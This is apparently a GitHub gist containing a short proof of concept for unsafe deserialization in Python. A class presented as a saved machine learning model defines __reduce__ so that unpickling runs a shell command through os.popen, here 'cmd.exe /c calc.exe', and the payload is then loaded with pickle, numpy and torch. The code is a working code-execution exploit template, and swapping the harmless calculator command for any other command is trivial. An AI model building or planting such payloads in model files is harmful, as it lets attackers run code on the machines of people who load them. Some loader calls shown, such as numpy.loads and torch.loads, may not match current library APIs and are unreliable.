Skip to content

Instantly share code, notes, and snippets.

@moohax
Created October 19, 2020 03:31
Show Gist options
  • Save moohax/f502c817fab0e85d0019fe36b15f4d6c to your computer and use it in GitHub Desktop.
Save moohax/f502c817fab0e85d0019fe36b15f4d6c to your computer and use it in GitHub Desktop.
Deserialization of custom class in pickle/numpy/PyTorch
# Create a class - normally this is a machine learning model saved to disk
class MLModel():
def __reduce__(self):
import os
execution = 'cmd.exe /c calc.exe'
return (os.popen, (execution,))
# Serialize it.
import pickle
payload = pickle.dumps(MLModel())
# Load it.
pickle.loads(payload)
# Load it.
import numpy
numpy.loads(payload)
# Load it.
import torch
torch.loads(payload)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment